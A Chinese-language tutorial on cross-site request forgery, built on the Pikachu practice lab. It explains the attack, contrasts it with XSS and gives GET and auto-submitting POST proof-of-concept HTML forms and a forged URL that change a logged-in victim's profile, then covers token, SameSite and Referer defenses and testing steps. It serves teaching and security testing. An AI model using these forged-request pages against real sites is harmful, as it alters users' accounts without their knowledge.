Pikachu靶场-CSRF
字数 1392 2025-08-24 20:49:22
CSRF(跨站请求伪造)攻击原理与防御教学文档
1. CSRF概述
CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击该请求,攻击即完成,因此CSRF也被称为"one click"攻击。
关键特征:
- 攻击者利用用户已登录的状态
- 不需要获取用户的账号密码
- 通过伪造请求让用户在不知情的情况下执行操作
典型攻击场景:
- 攻击者发现目标网站修改个人信息的请求(如:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change) - 将该链接伪装后发送给已登录目标网站的用户
- 用户点击链接后,个人信息被修改
2. CSRF与XSS的区别
| 特性 | CSRF | XSS |
|---|---|---|
| 权限获取 | 借用用户权限 | 直接盗取用户权限(如cookie) |
| 攻击方式 | 伪造请求让用户执行 | 注入恶意脚本 |
| 依赖条件 | 需要用户已登录并点击链接 | 需要存在XSS漏洞 |
3. CSRF攻击类型与实例
3.1 GET型CSRF
攻击流程:
- 攻击者登录自己的账号(如kobe账号)
- 修改个人信息并抓包,获取请求URL
- 使用Burp Suite生成CSRF PoC(Proof of Concept)
- 将PoC保存为HTML文档,包含目标用户的修改信息
- 诱骗其他已登录用户(如lucy账号)访问该HTML并提交
示例PoC代码:
<html>
<body>
<script>history.pushState('','','/')</script>
<form action="http://target.com/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
直接URL攻击:
http://target.com/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit
3.2 POST型CSRF
攻击流程:
- 攻击者构造一个自动提交的表单
- 将表单托管在公网服务器上
- 诱骗已登录用户访问该表单页面
- 页面加载后自动提交表单,修改用户信息
示例PoC代码:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://target.com/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="15988767673" />
<input id="add" type="text" name="add" value="nba lakes" />
<input id="email" type="text" name="email" value="kobe@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
4. CSRF防御措施
4.1 Token验证
- 每次请求生成随机token
- 服务器验证提交的token与session中的token是否匹配
- token应具有时效性,单次有效
实现要点:
- 表单中包含隐藏的token字段
- 服务器端验证token有效性
- 每次提交后更新token
4.2 验证码
- 敏感操作要求输入验证码
- 可防止自动化CSRF攻击
4.3 二次验证
- 修改敏感信息前验证旧密码
- 关键操作增加确认步骤
4.4 SameSite Cookie属性
- 设置Cookie的SameSite属性为Strict或Lax
- 防止跨站请求携带Cookie
4.5 检查Referer头部
- 验证请求来源是否为合法域名
- 但可能被某些浏览器配置或扩展绕过
5. 实际测试方法
-
测试GET请求:
- 检查敏感操作是否通过GET请求完成
- 尝试直接通过URL修改参数
-
测试POST请求:
- 构造自动提交表单
- 检查是否缺少token或验证机制
-
检查Token实现:
- 验证token是否随机且单次有效
- 尝试重用token或使用空token
-
验证Referer检查:
- 修改或删除Referer头部测试是否绕过
6. 总结
CSRF攻击成功需要三个关键条件:
- 目标网站存在可伪造的敏感操作
- 用户已登录目标网站
- 用户被诱骗点击恶意链接或访问恶意页面
防御CSRF的核心原则是确保敏感操作不能被轻易伪造,通过token、验证码等多重验证机制确保请求的合法性。